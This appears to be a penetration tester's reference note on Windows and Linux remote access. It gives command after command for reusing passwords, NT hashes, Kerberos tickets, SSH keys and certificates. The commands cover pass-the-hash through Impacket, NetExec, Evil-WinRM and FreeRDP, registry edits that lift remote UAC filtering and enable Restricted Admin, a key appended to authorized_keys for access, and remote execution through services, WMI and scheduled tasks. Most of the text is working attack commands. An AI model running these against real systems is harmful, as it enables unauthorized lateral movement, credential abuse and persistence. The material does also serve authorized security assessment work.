Remote Access

Remote access depends on four elements: a reachable protocol, compatible authentication material, authorization on the service, and the interaction that the mechanism can provide. Keeping them separate avoids discarding valid credentials because one interface fails and makes it easier to switch paths when a target exposes several options.

Quick reference

The initial port does not always describe the complete path. impacket-wmiexec, for example, executes through WMI/DCOM but normally retrieves stdout over SMB. impacket-atexec uses Task Scheduler RPC over \pipe\atsvc and also uses ADMIN$ to retrieve output.

Authentication material

Local and domain accounts

On Windows, distinguish a domain identity:

CORP\analyst

from an account in the target’s local SAM:

WIN01\Administrator

The same password or NT hash can produce different results depending on the account scope. Remote UAC can also filter the token of a local account that belongs to Administrators: authentication succeeds, but remote administrative operations return ACCESS_DENIED.

With NetExec, --local-auth forces local authentication:

nxc smb win01.corp.local \
  -u Administrator \
  -p '<PASSWORD>' \
  --local-auth

nxc smb win01.corp.local \
  -u Administrator \
  -H <NTHASH> \
  --local-auth

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ^
  /v LocalAccountTokenFilterPolicy ^
  /t REG_DWORD ^
  /d 1 ^
  /f

Passwords

A password is the most portable authentication material in this Note. It can participate in SSH, RDP, WinRM, SMB/SCM, WMI/DCOM, and Task Scheduler when the service accepts the corresponding authentication method.

A correct password only resolves authentication. RDP can deny logon, WinRM can reject session creation, and SMB can authenticate an account that cannot access the Service Control Manager.

NT hashes

An NT hash can be reused by tools that implement NTLM authentication from hash material.

Common uses include:

• SMB and SCM-backed execution.
• WMI/DCOM.
• Task Scheduler through compatible clients.
• WinRM with NTLM clients such as Evil-WinRM or NetExec.
• RDP when Restricted Admin is available.

It is not a universal password replacement and does not provide SSH authentication.

Impacket uses -hashes:

impacket-psexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local'

NetExec accepts the NT hash directly:

nxc smb win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH>

Kerberos tickets and caches

Kerberos is service-oriented. A TGT can be used to request service tickets while it remains valid and the KDC is reachable. A TGS is already associated with a particular SPN, for example:

cifs/win01.corp.local
HTTP/win01.corp.local

On Linux, many offensive tools consume a credential cache through KRB5CCNAME:

export KRB5CCNAME="$PWD/analyst.ccache"
klist

Impacket uses that cache with -k:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-psexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local'

The same pattern works with smbexec, wmiexec, and atexec.

Getting a TGT from Linux

With a password:

kinit analyst@CORP.LOCAL
klist

With Impacket and a password:

impacket-getTGT 'CORP.LOCAL/analyst:<PASSWORD>'
export KRB5CCNAME="$PWD/analyst.ccache"

With an NT hash:

impacket-getTGT \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst'

With an AES key:

impacket-getTGT \
  -aesKey <AES_KEY> \
  'CORP.LOCAL/analyst'

The generated file can then be selected with KRB5CCNAME.

Realm, DNS, SPN, and time

A minimal configuration can be:

[libdefaults]
  default_realm = CORP.LOCAL
  dns_lookup_kdc = true
  rdns = false

[realms]
  CORP.LOCAL = {
    kdc = dc01.corp.local
  }

Requesting a specific SPN helps separate Kerberos problems from authorization failures:

kvno cifs/win01.corp.local
kvno HTTP/win01.corp.local

For Kerberos, normally use the hostname or FQDN associated with the SPN instead of replacing it with an IP address.

SSH keys and certificates

An SSH private key provides public-key authentication when the server trusts the corresponding public key:

ssh \
  -i ./id_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local

An OpenSSH user certificate is different from an X.509 certificate. The server must trust the SSH CA that signed it and accept its principals and restrictions.

ssh \
  -i ./analyst_key \
  -o CertificateFile=./analyst_key-cert.pub \
  analyst@linux01.corp.local

X.509 certificates

An X.509 certificate is not a universal Windows remote credential.

For direct WinRM certificate authentication, the server needs certificate authentication enabled and a CertMapping that maps the certificate to a local account.

In Active Directory, a certificate can instead be used in other workflows to obtain Kerberos material. In that case SMB, WMI, or WinRM ultimately consumes Kerberos; those services are not directly accepting the certificate as a password or hash replacement.

SSH

Password

ssh analyst@linux01.corp.local

Private key

chmod 600 ./id_ed25519

ssh \
  -i ./id_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local

A recovered key can still fail if it is encrypted, is not authorized for that account, has from= or command= restrictions, the server applies ForceCommand, or the account has no shell.

Running a command

ssh analyst@linux01.corp.local 'id; hostname'

ssh \
  -i ./id_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local \
  'id; hostname'

Adding a temporary key

Generate a dedicated key:

ssh-keygen \
  -t ed25519 \
  -f ./assessment_ed25519 \
  -C 'assessment'

On the target:

install -d -m 700 ~/.ssh
cat /tmp/assessment_ed25519.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Then:

ssh \
  -i ./assessment_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local

Append to authorized_keys; overwriting it removes keys already configured for the user.

Jump hosts

ssh \
  -J operator@jump.corp.local \
  analyst@linux01.internal.corp.local

Multiple jumps:

ssh \
  -J operator@jump1.corp.local,operator@jump2.corp.local \
  analyst@linux01.internal.corp.local

ProxyJump solves connectivity to the target. Final SSH authentication still takes place against the last host.

RDP

Password and Windows credentials

mstsc.exe /v:win01.corp.local /prompt

xfreerdp \
  /v:win01.corp.local \
  /u:'CORP\analyst' \
  /dynamic-resolution

A valid account also needs the right to log on through Remote Desktop Services. An explicit deny overrides group membership that would otherwise grant access.

NT hash and Restricted Admin

FreeRDP supports PtH through Restricted Admin:

xfreerdp \
  /v:win01.corp.local \
  /u:Administrator \
  /pth:<NTHASH> \
  /dynamic-resolution

Restricted Admin requires administrative privileges on the target and support/configuration for the mode. /pth should not be treated as a generic RDP property.

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa ^
  /v DisableRestrictedAdmin ^
  /t REG_DWORD ^
  /d 0 ^
  /f

Kerberos

A Windows client can use Kerberos within the user’s authentication context when the target name, SPN, and policy allow it.

FreeRDP exposes Kerberos options, but using a Linux cache to produce an NLA/RDP session depends on the client, build, and delegation mode. This Note therefore does not document ccache → RDP as a universal operation.

For field lookup, treat RDP Kerberos as a path to validate with the actual client and keep these as deterministic cases:

• Password or an existing Windows credential context.
• NT hash with Restricted Admin.

WinRM and PowerShell Remoting

WinRM listeners use these ports by default:

5985/tcp  HTTP
5986/tcp  HTTPS

PowerShell Remoting uses WinRM as the transport for PSRP. A reachable listener and valid credentials do not guarantee permission to create a session on the endpoint.

PowerShell from Windows

Check the endpoint:

Test-WSMan win01.corp.local

Interactive session:

$cred = Get-Credential 'CORP\analyst'

Enter-PSSession `
  -ComputerName win01.corp.local `
  -Credential $cred

Command execution:

Invoke-Command `
  -ComputerName win01.corp.local `
  -Credential $cred `
  -ScriptBlock {
    whoami
    hostname
  }

Persistent session:

$session = New-PSSession `
  -ComputerName win01.corp.local `
  -Credential $cred

Invoke-Command `
  -Session $session `
  -ScriptBlock {
    whoami
    hostname
  }

Remove-PSSession $session

With the current Kerberos context:

Enter-PSSession `
  -ComputerName win01.corp.local `
  -Authentication Kerberos

Using an IP address prevents the normal PowerShell Remoting Kerberos path and commonly causes NTLM fallback or other configuration requirements.

WinRS

winrs.exe provides WinRM command execution from Windows:

winrs /r:win01.corp.local whoami

With an explicit user:

winrs /r:win01.corp.local /u:CORP\analyst whoami

HTTPS:

winrs /r:win01.corp.local /usessl whoami

Evil-WinRM

Password:

evil-winrm \
  -i win01.corp.local \
  -u 'CORP\analyst' \
  -p '<PASSWORD>'

NT hash:

evil-winrm \
  -i win01.corp.local \
  -u 'CORP\analyst' \
  -H <NTHASH>

Kerberos:

evil-winrm \
  -i win01.corp.local \
  -r CORP.LOCAL \
  -K ./analyst.ccache

For Kerberos, use the FQDN associated with the expected SPN.

NetExec

Password:

nxc winrm win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -p '<PASSWORD>' \
  -x 'whoami'

NT hash:

nxc winrm win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -x 'whoami'

PowerShell:

nxc winrm win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -X '$env:COMPUTERNAME'

The generic NetExec CLI exposes Kerberos options, but the current WinRM implementation uses NTLM. For Kerberos, use PowerShell Remoting, Evil-WinRM, or another client that implements that path.

Client certificate

Evil-WinRM accepts a certificate and private key:

evil-winrm \
  -i win01.corp.local \
  -S \
  -P 5986 \
  -c ./client.pem \
  -k ./client.key

It only works when WinRM certificate authentication is configured and the certificate matches a valid CertMapping to a local account.

Second hop

A session can work:

operator → win01

and then fail when it attempts:

win01 → fileserver

as the original identity.

This is the PowerShell Remoting second-hop problem. CredSSP is one delegation option, but environments can also use Kerberos delegation or explicit credentials for the second resource.

For lookup, the important distinction is:

WinRM to host A works
        ≠
host A can authenticate to host B as the same user

SMB and Service Control Manager

SMB authentication and SCM-backed execution are separate capabilities. An account can enumerate shares and still fail to open the Service Control Manager or create a service.

PsExec

PsExec.exe \\win01.corp.local -accepteula -u CORP\analyst cmd.exe

impacket-psexec \
  'CORP.LOCAL/analyst@win01.corp.local'

With an NT hash:

impacket-psexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local'

With Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-psexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local'

The Impacket implementation accesses SCM through \pipe\svcctl, installs RemComSvc, and uses additional named pipes for stdin/stdout/stderr.

SMBExec

Password:

impacket-smbexec \
  'CORP.LOCAL/analyst@win01.corp.local'

NT hash:

impacket-smbexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local'

Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-smbexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local'

SMBExec also uses SCM, but it creates a service whose command line runs the requested command and redirects output. It does not use the same payload model as psexec.

NetExec

nxc smb win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -x 'whoami' \
  --exec-method smbexec

Current SMB execution methods include:

wmiexec
mmcexec
smbexec
atexec

Selecting wmiexec or atexec from nxc smb can introduce dependencies on other RPC interfaces. Starting the operation from NetExec’s SMB module does not turn all of those methods into purely SMB execution.

WMI and CIM

WMI remains a supported technology and a useful remote-execution primitive. What Microsoft removed from current Windows releases is the wmic.exe utility, not the WMI infrastructure.

Impacket WMIExec

Password:

impacket-wmiexec \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

NT hash:

impacket-wmiexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-wmiexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

impacket-wmiexec uses WMI over DCOM and Win32_Process.Create. It normally requires TCP/135, dynamic RPC ports, and SMB to retrieve output from an administrative share.

Without stdout retrieval:

impacket-wmiexec \
  -nooutput \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'cmd.exe /c <COMMAND>'

The remote process runs in the authenticated user’s context, rather than the SYSTEM context commonly obtained through service execution.

NetExec WMI

nxc wmi win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -x 'whoami'

The current wmiexec implementation in NetExec’s WMI module retrieves results through the registry instead of depending on the SMB output channel used by impacket-wmiexec.

CIM over WS-Man

CIM cmdlets are the current PowerShell interface for CIM/WMI providers. New-CimSession uses WS-Man by default:

$cred = Get-Credential 'CORP\analyst'

$cim = New-CimSession `
  -ComputerName win01.corp.local `
  -Credential $cred

Execute through Win32_Process.Create:

Invoke-CimMethod `
  -CimSession $cim `
  -ClassName Win32_Process `
  -MethodName Create `
  -Arguments @{
    CommandLine = 'cmd.exe /c whoami > C:\Windows\Temp\whoami.txt'
  }

Remove-CimSession $cim

The call starts a non-interactive process and returns process-creation information; it does not provide a shell or stdout.

CIM over DCOM

$options = New-CimSessionOption -Protocol Dcom

$cim = New-CimSession `
  -ComputerName win01.corp.local `
  -Credential $cred `
  -SessionOption $options

The same CIM interface can therefore use WS-Man or DCOM. CIM should not be treated as a separate network protocol.

Legacy WMIC

On systems where wmic.exe still exists, it remains a usable interface:

where wmic

Its removal from current Windows releases affects availability, not the offensive usefulness of the binary when encountered or the existence of WMI itself.

Scheduled Tasks

Impacket atexec

Password:

impacket-atexec \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

NT hash:

impacket-atexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-atexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

The current implementation uses Task Scheduler RPC over \pipe\atsvc, registers a temporary task as LocalSystem, runs it, removes the task, and retrieves output from ADMIN$\Temp.

schtasks

Create:

schtasks /Create ^
  /S win01.corp.local ^
  /TN DfulAssessmentOnce ^
  /SC ONCE ^
  /ST <HH:MM> ^
  /TR "cmd.exe /c whoami > C:\Windows\Temp\dful-whoami.txt" ^
  /F

Run:

schtasks /Run ^
  /S win01.corp.local ^
  /TN DfulAssessmentOnce

Delete:

schtasks /Delete ^
  /S win01.corp.local ^
  /TN DfulAssessmentOnce ^
  /F

atexec and schtasks consume the same broad Task Scheduler capability, but not every client should be assumed to use Impacket’s exact transport or output-retrieval mechanism.

Troubleshooting

Authentication and authorization

Separate the path into layers:

network
 ↓
service / transport
 ↓
authentication
 ↓
authorization
 ↓
execution / session
 ↓
output retrieval

Common examples:

445 reachable
+ SMB authenticates
+ shares are visible
- SCM returns ACCESS_DENIED

The credential is valid for SMB; the authorization needed by PsExec/SMBExec is missing.

5985 reachable
+ WinRM authenticates
- endpoint denies Invoke/session

The listener and credential work; endpoint authorization is failing.

WMI executes
- wmiexec returns no stdout

DCOM execution can work while the SMB output channel fails.

Kerberos

If Kerberos works with one tool and fails with another, first compare the requested service:

cifs/win01.corp.local
HTTP/win01.corp.local

Inspect the cache:

klist

Request a specific SPN:

kvno cifs/win01.corp.local

Common shared causes include DNS, an incorrect FQDN/SPN, the wrong KDC, expired tickets, and clock skew.

Switching mechanisms

The same identity can:

• Authenticate over SMB and fail SCM.
• Execute through SCM and fail WMI.
• Execute through WMI and fail Task Scheduler.
• Authenticate to WinRM and fail to open a PSRP endpoint.
• Have normal RDP logon rights and still fail Restricted Admin requirements.
• Be a local administrator and receive a filtered remote token.

When another reachable interface accepts the same authentication material, switching mechanism is often more useful than treating every ACCESS_DENIED as a credential problem.

References

• Microsoft — Remote Credential Guard and Restricted Admin.
• Microsoft — PowerShell Remoting and WinRM security.
• Microsoft — WinRM authentication and certificate mapping.
• Microsoft — UAC remote restrictions.
• Microsoft — New-CimSession, New-CimSessionOption, and Invoke-CimMethod.
• Microsoft — Win32_Process.Create.
• Microsoft — winrs.
• Microsoft — WMIC removal and WMI status.
• OpenBSD — current OpenSSH manuals.
• FreeRDP — current client arguments.
• Fortra — Impacket psexec, smbexec, wmiexec, atexec, and getTGT.
• Hackplayers — Evil-WinRM.
• NetExec — current SMB, WinRM, and WMI implementations.